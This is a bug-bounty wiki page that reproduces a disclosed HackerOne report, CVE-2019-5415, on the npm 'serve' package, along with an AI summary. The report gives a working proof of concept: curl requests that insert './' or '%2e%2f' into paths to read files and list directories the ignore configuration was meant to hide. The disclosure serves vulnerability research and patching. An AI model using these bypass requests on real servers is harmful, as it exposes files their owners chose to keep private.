Skip to content
Misconfiguration Disclosed report Beginner CVE-2019-5415

[serve] Directory listing and File access even when they have been set to be ignored (using dot-slash)

The serve package's ignore configuration can be bypassed by inserting a dot-slash segment into the request path, allowing access to files and directories that were meant to be hidden. An attacker could read ignored files or list ignored directories.

tungpun Follow

Originally disclosed on HackerOne

Critical 9.3 View original
  • Triaged in 9 days
  • Fixed in 2 months
  • Disclosed after 2 months

I would like to report a vulnerability in serve. It allows listing directory and reading local files on the target server.

Module

module name: serve version: 6.5.3 npm page: https://www.npmjs.com/package/serve

Module Description

Ever wanted to share a project on your network by running just a command? Then this module is exactly what you're looking for: It provides a neat interface for listing the directory's contents and switching into sub folders.

In addition, it's also awesome when it comes to serving static sites!

Vulnerability

Steps To Reproduce:

  • Install serve:

$ npm i serve

  • Create some child directories, files for demonstration:

$ mkdir dir

$ echo "This is secret content!!" > dir/secret.txt

$ mkdir dir/dir2

$ touch dir/dir2/3.txt

  • Create an application that uses serve for file serving listing and set a few folders and files in the ignore config.
const serve = require('serve')
const server = serve(__dirname, {
      port: 6060,
      ignore: ['dir/secret.txt', 'dir/dir2']
})
  • Run the app

$ node app.js

Now, the current directory will be served by this module on port 6060 with the exception of file dir/secret.txt and directory 'dir/dir2.

  • If we try to request these ignored files/directories, we get a Not Found error
$ curl --path-as-is 'http://127.0.0.1:6060/dir/secret.txt'
Not Found
$ curl --path-as-is 'http://127.0.0.1:6060/dir/dir2/'
Not Found

or if we replace e character with URI encoded form %65, it still be ignored:

$ curl --path-as-is 'http://127.0.0.1:6060/dir/s%65cret.txt'
Not Found
  • However, I found a way to access that file by using dot-slash.
$ curl --path-as-is 'http://127.0.0.1:6060/dir/./secret.txt'
This is secret content!!

Or listing the directory:

http://127.0.0.1:6060/dir/%2e%2fdir2/

serve2.png
serve2.png From the original on HackerOne

Supporting Material/References:

  • macOS High Sierra 10.13.3
  • node v8.10.0
  • npm 5.8.0
  • Chrome Version 65.0.3325.162 (Official Build) (64-bit)

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

It bypasses the ignore files/directories feature and allows an attacker to read a file or list the directory that the victim has not allowed access to.

The original report as published on HackerOne, by tungpun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could read files or list directories that the victim explicitly configured to be ignored, bypassing the intended access restriction.

What the attacker needed

Serve is running with an ignore list; attacker can send HTTP requests to the server

How it was found

  1. Install serve and create a directory with a secret file and a subdirectory.
  2. Configure serve with an ignore list containing the secret file and subdirectory.
  3. Request the ignored file normally and observe a Not Found response.
  4. Request the same file with a dot-slash segment inserted in the path and observe the secret content returned.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The serve tool lets you share a folder and hide certain files or folders. Adding './' in the request path bypassed the ignore setting, so hidden files could still be read.

What is Misconfiguration?

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.

More by tungpun

View all

11 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.